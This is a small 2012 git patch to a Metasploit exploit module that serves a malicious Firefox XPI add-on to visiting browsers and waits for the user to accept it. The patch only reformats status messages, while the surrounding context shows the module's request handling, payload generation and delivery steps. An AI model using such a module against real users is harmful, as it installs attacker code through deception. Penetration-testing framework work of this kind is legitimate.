From 0e1fff2c4b8f890ae1c67361bca68e5c71832624 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Tue, 10 Apr 2012 13:42:52 -0500 Subject: [PATCH] Change the output style to comply with egyp7's expectations. --- .../multi/browser/firefox_xpi_bootstrapped_addon.rb | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/modules/exploits/multi/browser/firefox_xpi_bootstrapped_addon.rb b/modules/exploits/multi/browser/firefox_xpi_bootstrapped_addon.rb index d229da239d..fe38a81289 100644 --- a/modules/exploits/multi/browser/firefox_xpi_bootstrapped_addon.rb +++ b/modules/exploits/multi/browser/firefox_xpi_bootstrapped_addon.rb @@ -88,13 +88,15 @@ class Metasploit3 < Msf::Exploit::Remote end def on_request_uri( cli, request ) + msg = "#{cli.peerhost.ljust(16)} #{self.shortname}" + if not request.uri.match(/\.xpi$/i) if not request.uri.match(/\/$/) send_redirect( cli, get_resource() + '/', '') return end - print_status( "Handling request from #{cli.peerhost}:#{cli.peerport}..." ) + print_status("#{msg} Handling request..." ) send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } ) return @@ -102,7 +104,7 @@ class Metasploit3 < Msf::Exploit::Remote p = regenerate_payload(cli) if not p - print_error("Failed to generate the payload.") + print_error("#{msg} Failed to generate the payload.") # Send them a 404 so the browser doesn't hang waiting for data # that will never come. send_not_found(cli) @@ -207,9 +209,7 @@ function startup(data, reason) { |) - print_status( - "Sending xpi to #{cli.peerhost}. "+ - "Waiting for user to click 'accept'...") + print_status("#{msg} Sending xpi and waiting for user to click 'accept'...") send_response( cli, zip.pack, { 'Content-Type' => 'application/x-xpinstall' } ) handler( cli ) end